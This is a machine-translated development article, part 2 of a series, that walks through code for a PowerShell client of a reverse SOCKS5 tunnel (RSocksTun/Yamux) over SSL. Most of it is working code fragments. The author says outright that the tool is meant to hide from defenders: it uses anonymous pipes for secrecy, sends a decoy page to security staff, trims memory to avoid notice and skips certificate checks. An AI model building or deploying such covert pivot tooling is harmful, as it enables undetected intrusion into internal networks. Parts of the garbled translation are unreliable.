We write Reverse socks5 proxy on powershell. Part 2

    The story of research and development in 3 parts. Part 2 - developmental.
    There are many beeches - even more benefits.

    In the first part of the article, we got acquainted with some tools for organizing reverse tunnels, looked at their advantages and disadvantages, studied the mechanism of operation of the Yamux multiplexer and described the basic requirements for the newly created powershell module. It is time to start developing the client powershell module for the ready-made implementation of the RSocksTun reverse tunnel .

    First of all, we need to understand in what mode our module will work. Obviously, for the prima data transfer we will need to use the windows socket mechanism and the .Net capabilities for streaming read-write to sockets. But, on the other hand, because Since our module must serve several yamux streams at the same time, then all I / O operations should not completely block the execution of our program. This suggests the conclusion that our module should use software multithreading and perform read-write operations with a yamux server, as well as read-write operations to destination servers in different program streams. Well, of course, it is necessary to provide a mechanism of interaction between our parallel flows. Good,

    General algorithm of work


    Thus, the general algorithm of our client should be something like this:

    • establish an SSL connection to the server;
    • log in with a password so that the server can distinguish us from a security officer;
    • wait for the yamux package to install a new stream, periodically responding to server keepalive requests;
    • start a new socksScript program stream (not to be confused with a stream) as soon as the yamux package arrives to install a new stream. Inside socksScript, implement the work of socks5 server;
    • upon the arrival of the packet with data from yamux - understand from the 12-byte header which of the streams the data is intended for, as well as their size, read the data from the yamux server and transfer the received data to the stream with the corresponding stream number;
    • periodically monitor the availability of data intended for the yamux server in each of the running socks scripts. If there is such data, add the corresponding 12-byte header to them and send it to the yamux server;
    • upon the arrival of a yamux package to close the stream, transmit a signal to the corresponding stream to end the stream and disconnect, and after that, complete the stream itself;

    So, in our client it is necessary to implement at least 3 program flows:

    1. the main one, which will establish the connection, log in to the yamux server, receive data from it, process yamux headers and send raw data to other program streams;
    2. streams with socks servers. There may be several - one for each stream. They implement socks5 functionality. These flows will interact with destination points on the internal network;
    3. reverse flow. It receives data from socks streams, adds yamux headers to them and sends it to the yamux server;

    And, of course, we need to provide for the interaction between all these flows.

    We need not only to provide such interaction, but also to obtain the convenience of streaming input-output (similarly to sockets). The most appropriate mechanism would be to use software pipes. In Windows, pipes are registered when each pipe has its own name, and anonymous - each pipe is identified by its handler. For the sake of secrecy, of course, we will use anonymous pipes. (After all, we don’t want our module to be calculated using registered pipes in the system - right?). Thus, between the main / return flows and socks-flows, the interaction will be via anonymous pipes, supporting asynchronous stream input-output operations. Between the main and return flows, communication will occur through the shared-object mechanism (shared synchronized variables) (more about that,here ).

    Information about running socks streams should be stored in the corresponding data structure. When creating a socks thread in this structure, we must write:

    • yamux session number: $ ymxstream;
    • 4 variables for working with pipes (channels): $ cipipe, $ copipe, $ sipipe, $ sopipe. Since anonymous channels work either in IN or OUT, for each socks stream we need two anonymous channels, each of which must have two ends (pipestream) (server and client);
    • the result of the call to the stream is $ AsyncJobResult;
    • stream handler - $ Psobj. Through it we will close the stream and release resources;
    • the result of asynchronous reading from the anonymous pipe by the reverse stream ($ readjob). This variable is used in the reverse yamuxScript stream for asynchronous reading from the corresponding pipe;
    • buffer for reading data for each socks stream;

    Main stream


    So, from the point of view of data processing, the work of our program is built as follows:

    • the server side (rsockstun - implemented on Golang) raises the ssl server and waits for connections from the client;
    • upon receiving a connection from the client, the server checks the password, and if it is correct, establishes a yamux connection, raises the socks port and waits for connections from socks clients (our proxychains, browser, etc.), periodically exchanging keepalive packets with our customer. If the password is incorrect - a redirect to the page that we specified when installing the server is carried out (this is a "legal" page for the vigilant administrator of information security);
    • upon receipt of a connection from a socks client, the server sends a yamux packet to our client to establish a new stream (YMX SYN);

    Getting and analyzing the Yamux header

    Our module first establishes an SSL connection to the server and logs in with the password:

    $tcpConnection = New-Object System.Net.Sockets.TcpClient($server, $port)
    $tcpStream = New-Object System.Net.Security.SslStream($tcpConnection.GetStream(),$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
    $tcpStream.AuthenticateAsClient('127.0.0.1')

    Then, the script waits for a 12-byte yamux header and parses it.
    There is a small nuance ... As practice shows, simply reading 12 bytes from the socket:

     $num = $tcpStream.Read($tmpbuffer,0,12)

    not enough, since the read operation can be completed after the arrival of only part of the necessary bytes. Therefore, we need to wait for all 12 bytes in the loop:

         do {
                try { $num = $tcpStream.Read($tmpbuffer,0,12) } catch {}
                $tnum += $num
                $ymxbuffer += $tmpbuffer[0..($num-1)]
            }while ($tnum -lt 12 -and $tcpConnection.Connected)

    After the loop is complete, we should analyze the 12-byte header contained in the $ ymxbuffer variable for its type and set flags according to Yamux's specification.

    The Yamux header can be of several types:

    • ymx syn - install a new stream;
    • ymx fin - stream completion;
    • ymx data - represents information about the data (what size and what stream they are intended for);
    • ymx ping - keepalive message;
    • ymx win update - confirmation of the transfer of a portion of data;

    Anything that does not fit the listed types of yamux headers is considered an exceptional situation. There are 10 such exceptions, and we believe that something is wrong here and we are completing the work of our module. (as well as erase all our files, wipe the disk, change the last name, make a new passport, leave the country, etc. according to the list ...)

    Creating a new socks-stream

    Having received a yamux-package to establish a new stream, our client creates two anonymous server pipes ($ sipipe, $ sopipe), for in / out, respectively, based on them create client pipes ($ cipipe, $ copipe):

    $sipipe = new-object System.IO.Pipes.AnonymousPipeServerStream(1)
    $sopipe = new-object System.IO.Pipes.AnonymousPipeServerStream(2,1)
    $sipipe_clHandle = $sipipe.GetClientHandleAsString()
    $sopipe_clHandle = $sopipe.GetClientHandleAsString()
    $cipipe = new-object System.IO.Pipes.AnonymousPipeClientStream(1,$sopipe_clHandle)
    $copipe = new-object System.IO.Pipes.AnonymousPipeClientStream(2,$sipipe_clHandle)

    creates a runspace for the socks stream, sets shared variables for interacting with this stream (StopFlag), and starts the scriptblock SocksScript, which implements the functionality of the socks server in a separate stream:

    $state = [PSCustomObject]@{"StreamID"=$ymxstream;"inputStream"=$cipipe;"outputStream"=$copipe}
    $PS = [PowerShell]::Create()
    $socksrunspace = [runspacefactory]::CreateRunspace()
    $socksrunspace.Open()
    $socksrunspace.SessionStateProxy.SetVariable("StopFlag",$StopFlag)
    $PS.Runspace = $socksrunspace
    $PS.AddScript($socksScript).AddArgument($state) | Out-Null
    [System.IAsyncResult]$AsyncJobResult = $null
    $StopFlag[$ymxstream] = 0
    $AsyncJobResult = $PS.BeginInvoke()

    The created variables are written to a special ArrayList structure - an analogue of Dictionary in Python

    [System.Collections.ArrayList]$streams = @{}
    

    Adding occurs through the built-in Add method:

    $streams.add(@{ymxId=$ymxstream;cinputStream=$cipipe;sinputStream=$sipipe;coutputStream=$copipe;soutputStream=$sopipe;asyncobj=$AsyncJobResult;psobj=$PS;readjob=$null;readbuffer=$readbuffer}) | out-null

    Processing Yamux Data

    When we receive data destined for a socks stream from a yamux server, we must determine the yamux stream number (socks stream number for which this data is intended) and the number of bytes from the 12-byte yamux header data:

    $ymxstream = [bitconverter]::ToInt32($buffer[7..4],0)
    $ymxcount = [bitconverter]::ToInt32($buffer[11..8],0)

    Then, from the ArrayList stream, using the ymxId field, we get the handlers of the server out-pipe corresponding to this socks stream:

     if ($streams.Count -gt 1){$streamind = $streams.ymxId.IndexOf($ymxstream)}
            else {$streamind = 0}
     $outStream = $streams[$streamind].soutputStream

    After that, we read the data from the socket, remembering that we need to read through the loop a certain number of bytes:

                $databuffer = $null
                $tnum = 0
                do {
                    if ($buffer.length -le ($ymxcount-$tnum)) { $num = $tcpStream.Read($buffer,0,$buffer.Length) }else
                    { $num = $tcpStream.Read($buffer,0,($ymxcount-$tnum)) }
                    $tnum += $num
                    $databuffer += $buffer[0..($num-1)]
                }while ($tnum -lt $ymxcount -and $tcpConnection.Connected)

    and write the received data to the corresponding pipe:

    $num = $tcpStream.Read($buffer,0,$ymxcount)
    $outStream.Write($buffer,0,$ymxcount)


    Yamux FIN processing - stream completion

    When we receive a packet from the yamix server that signals the closure of a stream, we also first get the yamux stream number from the 12-byte header:

     $ymxstream = [bitconverter]::ToInt32($buffer[7..4],0)

    then, through a shared variable (or rather, an array of flags, where the index is the yamux stream number), we signal the socks thread to complete:

    if ($streams.Count -gt 1){$streamind = $streams.ymxId.IndexOf($ymxstream)}
            else {$streamind = 0}
    if ($StopFlag[$ymxstream] -eq 0){
                write-host "stopflag is 0. Setting to 1"
                $StopFlag[$ymxstream] = 1
            }

    after setting the flag, before killing the socks stream, you must wait a certain amount of time for the socks stream to process this flag. 200 ms is enough for this:

    start-sleep -milliseconds 200 #wait for thread check flag
    

    then close all the pipes related to this stream, close the corresponding Runspace and kill the Powershell object to free resources:

    $streams[$streamind].cinputStream.close()
    $streams[$streamind].coutputStream.close()
    $streams[$streamind].sinputStream.close()
    $streams[$streamind].soutputStream.close()
    $streams[$streamind].psobj.Runspace.close()
    $streams[$streamind].psobj.Dispose()
    $streams[$streamind].readbuffer.clear()

    After closing the socks stream, we need to remove the corresponding element from ArrayList streams:

    $streams.RemoveAt($streamind)

    And in the end, we need to force the .Net garbage collector to release the resources used by the thread. Otherwise, our script will consume about 100-200 MB of memory, which can catch the eye of an experienced and corrosive user, but we do not need this:

    [System.GC]::Collect()#clear garbage to minimize memory usage

    Yamux Script - reverse flow


    As mentioned above, data received from socks streams is processed by a separate yamuxScript stream, which starts from the very beginning (after a successful connection to the server). Its task is to periodically poll the output pipes of socks streams located in ArrayList $ streams:
    foreach ($stream in $state.streams){ ... }

    and if there is data in them, send them to the yamux server, having previously provided the corresponding 12-byte yamux header containing the number of the yamux session and the number of data bytes:

     if ($stream.readjob -eq $null){
       $stream.readjob = $stream.sinputStream.ReadAsync($stream.readbuffer,0,1024)
     }elseif ( $stream.readjob.IsCompleted  ){
         #if read asyncjob completed  - generate yamux header
         $outbuf = [byte[]](0x00,0x00,0x00,0x00)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ [bitconverter]::getbytes([int32]$stream.readjob.Result)[3..0]
         $state.tcpstream.Write($outbuf,0,12)
         #write raw data from socks thread to yamux
         $state.tcpstream.Write($stream.readbuffer,0,$stream.readjob.Result)
         $state.tcpstream.flush()
         #create new readasync job
         $stream.readjob = $stream.sinputStream.ReadAsync($stream.readbuffer,0,1024)
     }else{
             #write-host "Not readed"
          }

    YamuxScript also monitors the flag set in the shared $ StopFlag array for each of the socksScript threads that are executed. This flag can be set to 2 if the remote server that socksScript is working with disconnects. In this situation, the information needs to be reported to the socks client. The chain is as follows: yamuxScript must inform the yamux server about the disconnection so that it in turn signals this to the socks client.

    if ($StopFlag[$stream.ymxId] -eq 2){
         $stream.ymxId | out-file -Append c:\work\log.txt
         $outbuf = [byte[]](0x00,0x01,0x00,0x04)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ [byte[]](0x00,0x00,0x00,0x00)
         $state.tcpstream.Write($outbuf,0,12)
         $state.tcpstream.flush()
     }

    Yamux window update


    In addition, yamuxScript should monitor the number of bytes received from the yamux server and periodically send a YMX WinUpdate Message. This mechanism in Yamux is responsible for monitoring and changing the so-called window size (similar to the TCP protocol) - the number of data bytes that can be sent without acknowledgment. By default, window size is 256 Kbytes. This means that when sending or receiving files or data larger than this size, we need to send the windpw update package to the yamux server. To control the amount of received data from the yamux server, a special shared array $ RcvBytes has been introduced, into which the main stream by incrementing the current value records the number of bytes received from the server for each stream. If the set threshold is exceeded,

                if ($RcvBytes[$stream.ymxId] -ge 256144){
                    #out win update ymx packet with 256K size
                    $outbuf = [byte[]](0x00,0x01,0x00,0x00)+ [bitconverter]::getbytes([int32]$stream.ymxId)[3..0]+ (0x00,0x04,0x00,0x00)
                    $state.tcpstream.Write($outbuf,0,12)
                    $RcvBytes[$stream.ymxId] = 0
                }

    SocksScript Streams


    Now let's move directly to socksScript itself.
    Recall that socksScript is invoked asynchronously:

    $state = [PSCustomObject]@{"StreamID"=$ymxstream;"inputStream"=$cipipe;"outputStream"=$copipe}
    $PS = [PowerShell]::Create()
    ....
    $AsyncJobResult = $PS.BeginInvoke()

    and at the time of the call, the following data is present in the $ state variable transferred to the stream:

    • $ state.streamId - yamux session number;
    • $ state.inputStream - read pipe;
    • $ state.oututStream - write pipe;

    The data in the pipes comes in raw form without yamux headers, i.e. in the form in which they came from the socks client.

    Inside socksScript, first of all, we need to determine the version of socks and make sure that it is 5:

    $state.inputStream.Read($buffer,0,2) | Out-Null
            $socksVer=$buffer[0]
            if ($socksVer -eq 5){ ... }

    Well, then we do exactly as implemented in the Invoke-SocksProxy script. The only difference will be that instead of calls

    $AsyncJobResult.AsyncWaitHandle.WaitOne();
    $AsyncJobResult2.AsyncWaitHandle.WaitOne();

    It is necessary to monitor the tcp connection and the corresponding termination flag in the $ StopFlag array in cyclic mode, otherwise we will not be able to recognize the situation of the end of the connection from the side of the socks client and ymux server:

    while ($StopFlag[$state.StreamID] -eq 0 -and $tmpServ.Connected ){
          start-sleep -Milliseconds 50
     }

    In case the connection ends on the tcp side of the server we are connecting to, we set this flag to 2, which will cause yamuxscript to recognize this and send the corresponding ymx FIN packet to the yamux server:

    if ($tmpServ.Connected){
           $tmpServ.close()
     }else{
           $StopFlag[$state.StreamID] = 2
     }

    We must also set this flag if socksScript cannot connect to the destination server:

    if($tmpServ.Connected){ ... }
     else{
         $buffer[1]=4
         $state.outputStream.Write($buffer,0,2)
         $StopFlag[$state.StreamID] = 2
     }

    Conclusion to the second part


    In the course of our coding research, we managed to create a powershell client to our RsocksTun server with the ability:

    • SSL connections
    • authorization on the server;
    • work with yamux-server with support for keepalive pings;
    • multi-threaded mode of operation;
    • support for transferring large files;

    Outside of the article, there was an implementation of the functionality of connecting through a proxy server and authorizing on it, as well as turning our script into an inline version, which can be run from the command line. It will be in the third part.

    That's all for today. As they say - subscribe, like, leave comments (especially regarding your thoughts on improving the code and adding functionality).

    Also popular now: